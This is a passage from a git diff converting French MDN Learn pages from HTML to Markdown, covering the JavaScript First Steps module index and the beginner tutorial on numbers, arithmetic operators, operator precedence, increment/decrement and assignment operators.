<dd>Dans le dernier article de ce module, nous allons nous pencher sur les tableaux — un moyen ingénieux de stocker une liste d'éléments dans une unique variable. Ici nous allons voir en quoi cela est pratique, puis nous verrons entre autres comment créer un tableau et comment récupérer, ajouter et supprimer des éléments stockés.</dd> -</dl> +- [Qu'est-ce que JavaScript ?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) + - : Bienvenue dans le cours de JavaScript pour débutants proposé par MDN ! Dans ce premier article, nous aborderons JavaScript sous un angle général afin de comprendre ce qu'il est et à quoi il sert. Nous nous assurerons ici que vous cernez bien le but premier du langage. +- [Notre premier code JavaScript](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) + - : Maintenant que vous en savez un peu plus sur la partie théorique de JavaScript et sur ce que vous pouvez réaliser avec, nous allons poursuivre avec un cours accéléré sur les fonctionnalités de base du langage par le biais d'un tutoriel axé sur la pratique. Vous développerez ici, pas à pas, un jeu simple consistant à faire deviner un nombre. +- [Qu'est-ce qui n'a pas fonctionné ? Déboguer du code JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) + - : Quand vous développiez le jeu de devinette dans le cadre du tutoriel précédent, vous avez pu constater que notre programme ne fonctionnait pas. Pas de panique — cet article est là pour vous éviter de vous arracher les cheveux sur de tels problèmes en vous donnant quelques conseils simples sur la manière de trouver et résoudre les erreurs dans vos programmes JavaScript. +- [Stocker les informations dont vous avez besoin — les variables](/fr/docs/Learn/JavaScript/First_steps/Variables) + - : Après avoir lu les articles précédents, vous devriez maintenant mieux comprendre ce qu'est JavaScript, ce qu'il peut faire pour vous, comment l'utiliser de pair avec d'autres technologies du Web, et à quoi ressemblent ses principales fonctionnalités d'un point de vue global. Dans cet article, nous allons aborder les véritables fondements, en présentant l'une des pierres angulaires du langage : les variables. +- [Mathématiques de base en JavaScript — nombres et opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math) + - : À ce stade du cours, nous allons parler de mathématiques en JavaScript, à savoir comment combiner des opérateurs arithmétiques avec d'autres fonctionnalités du langage pour arriver à nos fins. +- [Gérer du texte — les chaînes de caractères en JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) + - : Attaquons-nous maintenant aux chaînes de caractères — le nom savant désignant en programmation des portions de texte. Dans cet article, nous allons voir les bases que vous devez impérativement connaître lors de votre apprentissage de JavaScript, comme la création de chaînes, l'échappement de caractères et la jonction de plusieurs chaînes. +- [Méthodes utiles pour les chaînes de caractères](/fr/docs/Learn/JavaScript/First_steps/methode_chaine_utile) + - : Maintenant que nous avons vu les bases relatives aux chaînes de catactères, passons à la vitesse supérieure et regardons ce que nous pouvons faire de plus poussé avec lesdites chaînes grâce aux méthodes natives, comme par exemple déterminer la longueur d'un texte, joindre et séparer des chaînes, remplacer un caractère par un autre, et bien plus encore. +- [Les tableaux](/fr/docs/Learn/JavaScript/First_steps/tableaux) + - : Dans le dernier article de ce module, nous allons nous pencher sur les tableaux — un moyen ingénieux de stocker une liste d'éléments dans une unique variable. Ici nous allons voir en quoi cela est pratique, puis nous verrons entre autres comment créer un tableau et comment récupérer, ajouter et supprimer des éléments stockés. -<h2 id="Auto-évaluation">Auto-évaluation</h2> +## Auto-évaluation -<p>L'auto-évaluation suivante teste votre compréhension des bases de JavaScript abordées dans le guide ci-dessus.</p> +L'auto-évaluation suivante teste votre compréhension des bases de JavaScript abordées dans le guide ci-dessus. -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator">Génerateur d'histoires absurdes</a></dt> - <dd>Dans le cadre de cette évaluation, votre tâche sera d'utiliser les connaissances que vous avez apprises dans les articles de ce module et de les appliquer pour créer une appli ludique qui génère aléatoirement des histoires absurdes. Amusez-vous bien !</dd> -</dl> +- [Génerateur d'histoires absurdes](/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator) + - : Dans le cadre de cette évaluation, votre tâche sera d'utiliser les connaissances que vous avez apprises dans les articles de ce module et de les appliquer pour créer une appli ludique qui génère aléatoirement des histoires absurdes. Amusez-vous bien ! diff --git a/files/fr/learn/javascript/first_steps/math/index.md b/files/fr/learn/javascript/first_steps/math/index.md index bdfdda9e64..33e7c0acda 100644 --- a/files/fr/learn/javascript/first_steps/math/index.md +++ b/files/fr/learn/javascript/first_steps/math/index.md @@ -17,402 +17,341 @@ tags: - modulo translation_of: Learn/JavaScript/First_steps/Math --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</div> - -<p>À ce point du didacticiel, nous parlerons de « mathématiques en JavaScript » — comment utiliser les {{Glossary("Operator","operators")}} et autres fonctionnalités pour manier avec succès les nombres pour faire nos bricolages.</p> +À ce point du didacticiel, nous parlerons de « mathématiques en JavaScript » — comment utiliser les {{Glossary("Operator","operators")}} et autres fonctionnalités pour manier avec succès les nombres pour faire nos bricolages. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec les bases des maths en JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vocabulaire courant de l'informatique, bases de HTML et CSS, + compréhension de ce que fait JavaScript. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Se familiariser avec les bases des maths en JavaScript.</td> + </tr> + </tbody> </table> -<h2 id="Tout_le_monde_aime_les_maths">Tout le monde aime les maths</h2> +## Tout le monde aime les maths + +Mouais, peut‑être pas. Certains parmi nous aiment les maths, d'autres les détestent depuis qu'il leur a fallu apprendre les tables de multiplication et les longues divisions à l'école, d'autres se situent entre les deux. Mais personne ne peut nier que les mathématiques sont une connaissance fondamentale dont il n'est pas possible de se passer. Cela devient particulièrement vrai lorsque nous apprenons à programmer en JavaScript (ou tout autre langage d'ailleurs) — une grande part de ce que nous faisons reposant en effet sur le traitement de données numériques, le calcul de nouvelles valeurs, etc. ; vous ne serez donc pas étonné d'apprendre que JavaScript dispose d'un ensemble complet de fonctions mathématiques. + +Cet article ne traite que des éléments de base nécessaires pour débuter. -<p>Mouais, peut‑être pas. Certains parmi nous aiment les maths, d'autres les détestent depuis qu'il leur a fallu apprendre les tables de multiplication et les longues divisions à l'école, d'autres se situent entre les deux. Mais personne ne peut nier que les mathématiques sont une connaissance fondamentale dont il n'est pas possible de se passer. Cela devient particulièrement vrai lorsque nous apprenons à programmer en JavaScript (ou tout autre langage d'ailleurs) — une grande part de ce que nous faisons reposant en effet sur le traitement de données numériques, le calcul de nouvelles valeurs, etc. ; vous ne serez donc pas étonné d'apprendre que JavaScript dispose d'un ensemble complet de fonctions mathématiques.</p> +### Types de nombres -<p>Cet article ne traite que des éléments de base nécessaires pour débuter.</p> +En programmation, même l'ordinaire système des nombres décimaux que nous connaissons tous si bien est plus compliqué qu'on ne pourrait le croire. Nous utilisons divers termes pour décrire différents types de nombres décimaux, par exemple : -<h3 id="Types_de_nombres">Types de nombres</h3> +- **Entier :** (_Integer_ en anglais) c'est un nombre sans partie fractionnaire, comme son nom l'indique, par exemple 10, 400 ou -5 +- **Nombre à virgule flottante :** (_float_ en anglais) il a un **point** de séparation entre la partie entière et la partie fractionnaire (là où en France nous mettons une virgule), par exemple 12**.**5 et 56**.**7786543 +- **Doubles** : (pour double précision) ce sont des nombres à virgule flottante de précision supérieure aux précédents (on les dit plus précis en raison du plus grand nombre de décimales possibles). -<p>En programmation, même l'ordinaire système des nombres décimaux que nous connaissons tous si bien est plus compliqué qu'on ne pourrait le croire. Nous utilisons divers termes pour décrire différents types de nombres décimaux, par exemple :</p> +Nous disposons même de plusieurs systèmes de numération ! Le décimal a pour base 10 (ce qui signifie qu'il se sert de chiffres entre 0 et 9 dans chaque rang), mais il en existe d'autres : -<ul> - <li><strong>Entier :</strong> (<em>Integer </em>en anglais) c'est un nombre sans partie fractionnaire, comme son nom l'indique, par exemple 10, 400 ou -5</li> - <li><strong>Nombre à virgule flottante : </strong>(<em>float </em>en anglais) il a un <strong>point</strong> de séparation entre la partie entière et la partie fractionnaire (là où en France nous mettons une virgule), par exemple 12<strong>.</strong>5 et 56<strong>.</strong>7786543</li> - <li><strong>Doubles</strong> : (pour double précision) ce sont des nombres à virgule flottante de précision supérieure aux précédents (on les dit plus précis en raison du plus grand nombre de décimales possibles).</li> -</ul> +- **Binaire** — utilisé par le plus bas niveau de langage des ordinateurs, il est composé de 0 et de 1. +- **Octal** — de base 8, utilise les chiffres entre 0 et 7 dans chaque rang. +- **Hexadécimal** — de base 16, utilise les chiffres entre 0 et 9 puis les lettres de a à f dans chaque rang. Vous avez peut-être déjà rencontré ces nombres en définissant des couleurs dans les [CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Values_and_units#hexadecimal_values). -<p>Nous disposons même de plusieurs systèmes de numération ! Le décimal a pour base 10 (ce qui signifie qu'il se sert de chiffres entre 0 et 9 dans chaque rang), mais il en existe d'autres :</p> +**Avant que votre cervelle ne se mette à bouillir, stop !** Pour commencer, nous ne nous intéresserons qu'aux nombres décimaux dans ce cours ; vous aurez rarement besoin de vous servir des autres types, peut-être même jamais. -<ul> - <li><strong>Binaire</strong> — utilisé par le plus bas niveau de langage des ordinateurs, il est composé de 0 et de 1.</li> - <li><strong>Octal</strong> — de base 8, utilise les chiffres entre 0 et 7 dans chaque rang.</li> - <li><strong>Hexadécimal</strong> — de base 16, utilise les chiffres entre 0 et 9 puis les lettres de a à f dans chaque rang. Vous avez peut-être déjà rencontré ces nombres en définissant des couleurs dans les <a href="/fr/docs/Learn/CSS/Introduction_to_CSS/Values_and_units#hexadecimal_values">CSS</a>.</li> -</ul> +L'autre bonne nouvelle, c'est que contrairement à d'autres langages de programmation, JavaScript n'a qu'un seul type de donnée pour les nombres, vous l'avez deviné : {{jsxref("Number")}}. Cela signifie que, en JavaScript, quels que soient les types de nombre avec lesquels vous travaillerez, vous les manipulerez tous exactement de la même façon. -<p><strong>Avant que votre cervelle ne se mette à bouillir, stop !</strong> Pour commencer, nous ne nous intéresserons qu'aux nombres décimaux dans ce cours ; vous aurez rarement besoin de vous servir des autres types, peut-être même jamais.</p> +### Ce ne sont que des nombres pour moi -<p>L'autre bonne nouvelle, c'est que contrairement à d'autres langages de programmation, JavaScript n'a qu'un seul type de donnée pour les nombres, vous l'avez deviné : {{jsxref("Number")}}. Cela signifie que, en JavaScript, quels que soient les types de nombre avec lesquels vous travaillerez, vous les manipulerez tous exactement de la même façon.</p> +Amusons‑nous avec quelques chiffres pour nous familiariser avec la syntaxe de base dont nous aurons besoin. Entrez les commandes listées ci-dessous dans la [console JavaScript des outils de développement](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools), ou utilisez la simple console intégrée que vous voyez ci-dessous si vous préférez. -<h3 id="Ce_ne_sont_que_des_nombres_pour_moi">Ce ne sont que des nombres pour moi</h3> +{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/variables/index.html", '100%', 300)}} -<p>Amusons‑nous avec quelques chiffres pour nous familiariser avec la syntaxe de base dont nous aurons besoin. Entrez les commandes listées ci-dessous dans la <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">console JavaScript des outils de développement</a>, ou utilisez la simple console intégrée que vous voyez ci-dessous si vous préférez.</p> +**[Ouvrir la console dans une nouvelle fenêtre](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/)** -<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/variables/index.html", '100%', 300)}}</p> +1. Premièrement, déclarons une paire de variables et initialisons‑les respectivement avec un entier et un nombre avec des décimales, puis saisissons les noms des variables à nouveau pour vérifier que tout est correct : -<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/">Ouvrir la console dans une nouvelle fenêtre</a></strong></p> + ```js + var myInt = 5; + var myFloat = 6.667; + myInt; + myFloat; + ``` -<ol> - <li>Premièrement, déclarons une paire de variables et initialisons‑les respectivement avec un entier et un nombre avec des décimales, puis saisissons les noms des variables à nouveau pour vérifier que tout est correct : - <pre class="brush: js">var myInt = 5; -var myFloat = 6.667; -myInt; -myFloat;</pre> - </li> - <li>Les nombres sont saisis sans guillemets — essayez de déclarer et initialiser deux ou trois variables de plus contenant des nombres avant de continuer.</li> - <li>Maintenant vérifions que les deux variables d'origine sont du même type de donnée. En JavaScript, l'opérateur nommé {{jsxref("Operators/typeof", "typeof")}} est prévu pour cela. Entrez les deux lignes ci‑dessous comme indiqué :</li> - <li> - <pre class="brush: js">typeof myInt; -typeof myFloat;</pre> - </li> - <li><code>"number"</code> est renvoyé dans les deux cas — cela nous facilite les choses quand nous avons des nombres différents de types variés et que nous avons à les traiter de diverses façons. Ouf !</li> -</ol> +2. Les nombres sont saisis sans guillemets — essayez de déclarer et initialiser deux ou trois variables de plus contenant des nombres avant de continuer. +3. Maintenant vérifions que les deux variables d'origine sont du même type de donnée. En JavaScript, l'opérateur nommé {{jsxref("Operators/typeof", "typeof")}} est prévu pour cela. Entrez les deux lignes ci‑dessous comme indiqué : +4. ```js + typeof myInt; + typeof myFloat; + ``` +5. `"number"` est renvoyé dans les deux cas — cela nous facilite les choses quand nous avons des nombres différents de types variés et que nous avons à les traiter de diverses façons. Ouf ! -<h3 id="Méthodes_de_nombres_utiles">Méthodes de nombres utiles</h3> +### Méthodes de nombres utiles -<p>L'objet <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> , une instance qui représente tous les nombres standards que vous utiliserez dans votre JavaScript, a de nombreuses méthodes disponibles pour vous permettre de manipuler les nombres. Nous ne les étudierons pas tous en détail dans cet article car nous voulons qu'il reste une simple introduction et nous verrons seulement les bases essentielles pour le moment; cependant, une fois que vous aurez lu ce module plusieurs fois, il pourra être utile de visiter les pages de référence d'objet et d'en apprendre plus sur ce qui est disponible.</p> +L'objet [`Number`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Number) , une instance qui représente tous les nombres standards que vous utiliserez dans votre JavaScript, a de nombreuses méthodes disponibles pour vous permettre de manipuler les nombres. Nous ne les étudierons pas tous en détail dans cet article car nous voulons qu'il reste une simple introduction et nous verrons seulement les bases essentielles pour le moment; cependant, une fois que vous aurez lu ce module plusieurs fois, il pourra être utile de visiter les pages de référence d'objet et d'en apprendre plus sur ce qui est disponible. -<p>Par exemple, pour arrondir votre nombre avec un nombre fixe de décimales, utilisez la méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed">toFixed()</a></code>. Tapez les lignes suivantes dans la <a href="/fr/docs/Tools/Web_Console">console de votre navigateur</a>:</p> +Par exemple, pour arrondir votre nombre avec un nombre fixe de décimales, utilisez la méthode [`toFixed()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed). Tapez les lignes suivantes dans la [console de votre navigateur](/fr/docs/Tools/Web_Console): -<pre class="brush: js">let lotsOfDecimal = 1.766584958675746364; +```js +let lotsOfDecimal = 1.766584958675746364; lotsOfDecimal; let twoDecimalPlaces = lotsOfDecimal.toFixed(2); -twoDecimalPlaces;</pre> +twoDecimalPlaces; +``` -<h3 id="Convertir_en_type_de_données_numérique">Convertir en type de données numérique</h3> +### Convertir en type de données numérique -<p>Parfois vous pourriez finir avec un nombre stocké de type "string", ce qui rendra difficile le fait d'effectuer un calcul avec. Ca arrive le plus souvent lorsqu'une donnée est entrée dans une entrée de <a href="/fr/docs/Learn/Forms">formulaire</a>, et le <a href="/fr/docs/Web/HTML/Element/Input/text">type de donnée entré est du texte</a>. Il éxiste une façon de résoudre ce problème — passer la valeur de "string" dans le constructeur <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/Number">Number()</a></code> pour retourner une version numérique de la même valeur.</p> +Parfois vous pourriez finir avec un nombre stocké de type "string", ce qui rendra difficile le fait d'effectuer un calcul avec. Ca arrive le plus souvent lorsqu'une donnée est entrée dans une entrée de [formulaire](/fr/docs/Learn/Forms), et le [type de donnée entré est du texte](/fr/docs/Web/HTML/Element/Input/text). Il éxiste une façon de résoudre ce problème — passer la valeur de "string" dans le constructeur [`Number()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/Number) pour retourner une version numérique de la même valeur. -<p>Par exemple, essayez de taper ces lignes dans votre console:</p> +Par exemple, essayez de taper ces lignes dans votre console: -<pre class="brush: js">let myNumber = '74'; -myNumber + 3;</pre> +```js +let myNumber = '74'; +myNumber + 3; +``` -<p>Vous obtenez le résultat 743, et non pas 77, car <code>myNumber</code> est en fait défini en tant que "string". Vous pouvez tester en tapant la ligne suivante:</p> +Vous obtenez le résultat 743, et non pas 77, car `myNumber` est en fait défini en tant que "string". Vous pouvez tester en tapant la ligne suivante: -<pre class="brush: js">typeof myNumber;</pre> +```js +typeof myNumber; +``` -<p>Pour réparer le calcul, vous pouvez faire ceci:</p> +Pour réparer le calcul, vous pouvez faire ceci: -<pre class="brush: js">Number(myNumber) + 3;</pre> +```js +Number(myNumber) + 3; +``` -<h2 id="Opérateurs_arithmétiques">Opérateurs arithmétiques</h2> +## Opérateurs arithmétiques -<p>Ce sont les opérateurs de base pour effectuer diverses opérations :</p> +Ce sont les opérateurs de base pour effectuer diverses opérations : <table class="standard-table"> - <thead> - <tr> - <th scope="col">Operateur</th> - <th scope="col">Nom</th> - <th scope="col">But</th> - <th scope="col">Exemple</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>+</code></td> - <td>Addition</td> - <td>Ajoute deux nombres.</td> - <td><code>6 + 9</code></td> - </tr> - <tr> - <td><code>-</code></td> - <td>Soustraction</td> - <td>Soustrait le nombre de droite de celui de gauche.</td> - <td><code>20 - 15</code></td> - </tr> - <tr> - <td><code>*</code></td> - <td>Multiplication</td> - <td>Multiplie les deux nombrer.</td> - <td><code>3 * 7</code></td> - </tr> - <tr> - <td><code>/</code></td> - <td>Division</td> - <td>Divise le nombre de gauche par celui de droite.</td> - <td><code>10 / 5</code></td> - </tr> - <tr> - <td><code>%</code></td> - <td> - <p>Reste (quelquefois nommé modulo)</p> - </td> - <td> - <p>Renvoie le reste de la division du nombre de gauche par celui de droite.</p> - </td> - <td><code>8 % 3</code> (renvoie 2, car 3 est contenu 2 fois dans 8, et il reste 2.)</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Operateur</th> + <th scope="col">Nom</th> + <th scope="col">But</th> + <th scope="col">Exemple</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>+</code></td> + <td>Addition</td> + <td>Ajoute deux nombres.</td> + <td><code>6 + 9</code></td> + </tr> + <tr> + <td><code>-</code></td> + <td>Soustraction</td> + <td>Soustrait le nombre de droite de celui de gauche.</td> + <td><code>20 - 15</code></td> + </tr> + <tr> + <td><code>*</code></td> + <td>Multiplication</td> + <td>Multiplie les deux nombrer.</td> + <td><code>3 * 7</code></td> + </tr> + <tr> + <td><code>/</code></td> + <td>Division</td> + <td>Divise le nombre de gauche par celui de droite.</td> + <td><code>10 / 5</code></td> + </tr> + <tr> + <td><code>%</code></td> + <td><p>Reste (quelquefois nommé modulo)</p></td> + <td> + <p> + Renvoie le reste de la division du nombre de gauche par celui de + droite. + </p> + </td> + <td> + <code>8 % 3</code> (renvoie 2, car 3 est contenu 2 fois dans 8, et il + reste 2.) + </td> + </tr> + </tbody> </table> -<div class="note"> -<p><strong>Note :</strong> Quelquefois les nombres impliqués dans des opérations sont nommés {{Glossary("Operand", "operands")}}.</p> -</div> +> **Note :** Quelquefois les nombres impliqués dans des opérations sont nommés {{Glossary("Operand", "operands")}}. + +Nous n'avons certainement pas besoin de vous apprendre les quatre opérations, mais ce serait bien de tester si vous avez bien compris la syntaxe. Entrez les exemples ci‑dessous dans la [console des outils de développement JavaScript](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) ou servez vous de la console intégrée plus haut, comme vous préférez, pour vous familiariser avec la syntaxe. + +1. Essayez de saisir quelques exemples simples de votre cru, comme : + + ```js + 10 + 7 + 9 * 8 + 60 % 3 + ``` -<p>Nous n'avons certainement pas besoin de vous apprendre les quatre opérations, mais ce serait bien de tester si vous avez bien compris la syntaxe. Entrez les exemples ci‑dessous dans la <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">console des outils de développement JavaScript</a> ou servez vous de la console intégrée plus haut, comme vous préférez, pour vous familiariser avec la syntaxe.</p> +2. Déclarez et initialisez quelques variables, puis utilisez‑les dans des opérations — les variables se comporteront exactement comme les valeurs qu'elles contiennent pour les besoins de l'opération. Par exemple : -<ol> - <li>Essayez de saisir quelques exemples simples de votre cru, comme : - <pre class="brush: js">10 + 7 -9 * 8 -60 % 3</pre> - </li> - <li>Déclarez et initialisez quelques variables, puis utilisez‑les dans des opérations — les variables se comporteront exactement comme les valeurs qu'elles contiennent pour les besoins de l'opération. Par exemple : - <pre class="brush: js">var num1 = 10; -var num2 = 50; -9 * num1; -num2 / num1;</pre> - </li> - <li>Pour terminer cette partie, entrez quelques expressions plus compliquées, comme : - <pre class="brush: js">5 + 10 * 3; -num2 % 9 * num1; -num2 + num1 / 8 + 2;</pre> - </li> -</ol> + ```js + var num1 = 10; + var num2 = 50; + 9 * num1; + num2 / num1; + ``` -<p>Certaines opérations de cet ensemble ne vous renvoient peut-être pas le résultat attendu ; le paragraphe qui suit vous explique pourquoi.</p> +3. Pour terminer cette partie, entrez quelques expressions plus compliquées, comme : -<h3 id="Priorité_des_opérateurs">Priorité des opérateurs</h3> + ```js + 5 + 10 * 3; + num2 % 9 * num1; + num2 + num1 / 8 + 2; + ``` -<p>Revenons sur le dernier exemple ci‑dessus, en supposant que <code>num2</code> contient la valeur 50 et <code>num1</code> contient 10 (comme défini plus haut) :</p> +Certaines opérations de cet ensemble ne vous renvoient peut-être pas le résultat attendu ; le paragraphe qui suit vous explique pourquoi. -<pre class="brush: js">num2 + num1 / 8 + 2;</pre> +### Priorité des opérateurs -<p>En tant qu'humain, vous pouvez lire « <em>50 plus 10 égale 60 »</em>, puis « <em>8 plus 2 égale 10 »</em> et finalement « <em>60 divisé par 10 égale 6 »</em>.</p> +Revenons sur le dernier exemple ci‑dessus, en supposant que `num2` contient la valeur 50 et `num1` contient 10 (comme défini plus haut) : -<p>Mais le navigateur <em>calcule « 10 sur 8 égale 1.25 »</em>, puis « <em>50 plus 1.25 plus 2 égale 53.25 »</em>.</p> +```js +num2 + num1 / 8 + 2; +``` -<p>Cela est dû aux <strong>priorités entre opérateurs</strong> — certains sont appliqués avant d'autres dans une opération (on parle d'une expression en programmation). En JavaScript, la priorité des opérateurs est identique à celle enseignée à l'école — Multiplication et Division sont toujours effectuées en premier, suivies d'Addition et Soustraction (le calcul est toujours exécuté de la gauche vers la droite).</p> +En tant qu'humain, vous pouvez lire « *50 plus 10 égale 60 »*, puis « *8 plus 2 égale 10 »* et finalement « *60 divisé par 10 égale 6 »*. -<p>Si vous voulez contourner les règles de priorité des opérateurs, vous pouvez mettre entre parenthèses les parties que vous souhaitez voir calculées en premier. Pour obtenir un résultat égal à 6, nous devons donc écrire :</p> +Mais le navigateur _calcule « 10 sur 8 égale 1.25 »_, puis « *50 plus 1.25 plus 2 égale 53.25 »*. -<pre class="brush: js">(num2 + num1) / (8 + 2);</pre> +Cela est dû aux **priorités entre opérateurs** — certains sont appliqués avant d'autres dans une opération (on parle d'une expression en programmation). En JavaScript, la priorité des opérateurs est identique à celle enseignée à l'école — Multiplication et Division sont toujours effectuées en premier, suivies d'Addition et Soustraction (le calcul est toujours exécuté de la gauche vers la droite). -<p>Essayez-le et voyez.</p> +Si vous voulez contourner les règles de priorité des opérateurs, vous pouvez mettre entre parenthèses les parties que vous souhaitez voir calculées en premier. Pour obtenir un résultat égal à 6, nous devons donc écrire : -<div class="note"> -<p><strong>Note :</strong> La liste complète de tous les opérateurs JavaScript et leur priorité peut être trouvée dans <a href="/fr/docs/Web/JavaScript/Guide/Expressions_and_Operators#operator_precedence">Expressions and operators</a>.</p> -</div> +```js +(num2 + num1) / (8 + 2); +``` -<h2 id="Opérateurs_dincrémentation_et_de_décrémentation">Opérateurs d'incrémentation et de décrémentation</h2> +Essayez-le et voyez. -<p>Quelquefois vous aurez besoin d'ajouter ou retrancher 1 à une valeur de variable de manière répétitive. On effectue commodément cette opération à l'aide des opérateurs d'incrémentation (<code>++</code>) ou de décrementation (<code>--</code>). Nous nous sommes servis de <code>++</code> dans le jeu « Devinez le nombre » dans notre article <a href="/fr/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">Première plongée dans le JavaScript</a> pour ajouter 1 à la variable <code>guessCount</code> pour décompter le nombre de suppositions restantes après chaque tour.</p> +> **Note :** La liste complète de tous les opérateurs JavaScript et leur priorité peut être trouvée dans [Expressions and operators](/fr/docs/Web/JavaScript/Guide/Expressions_and_Operators#operator_precedence). -<pre class="brush: js">guessCount++;</pre> +## Opérateurs d'incrémentation et de décrémentation -<div class="note"> -<p><strong>Note :</strong> Ces opérateurs sont couramment utilisés dans des <a href="/fr/docs/Web/JavaScript/Guide/Loops_and_iteration">boucles ;</a> nous les verrons plus loin dans ce cours. Par exemple, disons que vous voulez parcourir une liste de prix et ajouter les taxes à chacun. Vous utiliserez une boucle pour obtenir chaque valeur une à une et exécuterez le calcul voulu pour ajouter les taxes à chacune. L'incrément s'utilise pour aller à la valeur suivante. Nous avons mis un exemple concret montrant comment faire — voyez‑le tout de suite, examinez le code source et notez les opérateurs d'incrémentation ! Nous reverrons les boucles en détail plus loin dans ce cours.</p> -</div> +Quelquefois vous aurez besoin d'ajouter ou retrancher 1 à une valeur de variable de manière répétitive. On effectue commodément cette opération à l'aide des opérateurs d'incrémentation (`++`) ou de décrementation (`--`). Nous nous sommes servis de `++` dans le jeu « Devinez le nombre » dans notre article [Première plongée dans le JavaScript](/fr/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash) pour ajouter 1 à la variable `guessCount` pour décompter le nombre de suppositions restantes après chaque tour. -<p>Jouons avec ces opérateurs dans la console. Notez d'abord qu'il n'est pas possible de les appliquer directement à un nombre, ce qui peut paraître étrange, mais cet opérateur assigne à une variable une nouvelle valeur mise à jour, il n'agit pas sur la valeur elle‑même. Ce qui suit renvoie une erreur :</p> +```js +guessCount++; +``` -<pre class="brush: js">3++;</pre> +> **Note :** Ces opérateurs sont couramment utilisés dans des [boucles ;](/fr/docs/Web/JavaScript/Guide/Loops_and_iteration) nous les verrons plus loin dans ce cours. Par exemple, disons que vous voulez parcourir une liste de prix et ajouter les taxes à chacun. Vous utiliserez une boucle pour obtenir chaque valeur une à une et exécuterez le calcul voulu pour ajouter les taxes à chacune. L'incrément s'utilise pour aller à la valeur suivante. Nous avons mis un exemple concret montrant comment faire — voyez‑le tout de suite, examinez le code source et notez les opérateurs d'incrémentation ! Nous reverrons les boucles en détail plus loin dans ce cours. -<p>Vous ne pouvez donc incrémenter qu'une variable déjà existante. Essayez ceci :</p> +Jouons avec ces opérateurs dans la console. Notez d'abord qu'il n'est pas possible de les appliquer directement à un nombre, ce qui peut paraître étrange, mais cet opérateur assigne à une variable une nouvelle valeur mise à jour, il n'agit pas sur la valeur elle‑même. Ce qui suit renvoie une erreur : -<pre class="brush: js">var num1 = 4; -num1++;</pre> +```js +3++; +``` -<p>Ok, curieuse la ligne 2 ! En écrivant cela, elle renvoie la valeur 4 — c'est dû au fait que l'explorateur renvoie la valeur courante, <em>puis</em> incrémente la variable. Vous constaterez qu'elle a bien été incrémentée si vous demandez de la revoir :</p> +Vous ne pouvez donc incrémenter qu'une variable déjà existante. Essayez ceci : -<pre class="brush: js">num1;</pre> +```js +var num1 = 4; +num1++; +``` -<p>C'est pareil avec <code>--</code> : essayez ce qui suit</p> +Ok, curieuse la ligne 2 ! En écrivant cela, elle renvoie la valeur 4 — c'est dû au fait que l'explorateur renvoie la valeur courante, _puis_ incrémente la variable. Vous constaterez qu'elle a bien été incrémentée si vous demandez de la revoir : -<pre class="brush: js">var num2 = 6; +```js +num1; +``` + +C'est pareil avec `--` : essayez ce qui suit + +```js +var num2 = 6; num2--; -num2;</pre> +num2; +``` -<div class="note"> -<p><strong>Note :</strong> En mettant l'opérateur avant la variable au lieu d'après, le navigateur agira dans l'ordre inverse — incrément/décrément de la variable <em>puis</em> renvoi de la valeur — . Essayez les exemples plus haut, mais cette fois avec <code>++num1</code> et <code>--num2</code>.</p> -</div> +> **Note :** En mettant l'opérateur avant la variable au lieu d'après, le navigateur agira dans l'ordre inverse — incrément/décrément de la variable _puis_ renvoi de la valeur — . Essayez les exemples plus haut, mais cette fois avec `++num1` et `--num2`. -<h2 id="Opérateurs_dassignation">Opérateurs d'assignation</h2> +## Opérateurs d'assignation -<p>Les opérateurs d'assignation sont ceux qui fixent la valeur d'une variable. Nous avons déjà utilisé plusieurs fois le plus élémentaire, <code>=</code> — il donne à la variable de gauche la valeur indiquée à droite :</p> +Les opérateurs d'assignation sont ceux qui fixent la valeur d'une variable. Nous avons déjà utilisé plusieurs fois le plus élémentaire, `=` — il donne à la variable de gauche la valeur indiquée à droite : -<pre class="brush: js">var x = 3; // x contient la valeur 3 +```js +var x = 3; // x contient la valeur 3 var y = 4; // y contient la valeur 4 -x = y; // x contient maintenant la même valeur que y, 4</pre> +x = y; // x contient maintenant la même valeur que y, 4 +``` -<p>Mais il existe des types plus complexes, qui procurent des raccourcis utiles pour un code plus propre et plus efficace. Les plus courants sont listés ici :</p> +Mais il existe des types plus complexes, qui procurent des raccourcis utiles pour un code plus propre et plus efficace. Les plus courants sont 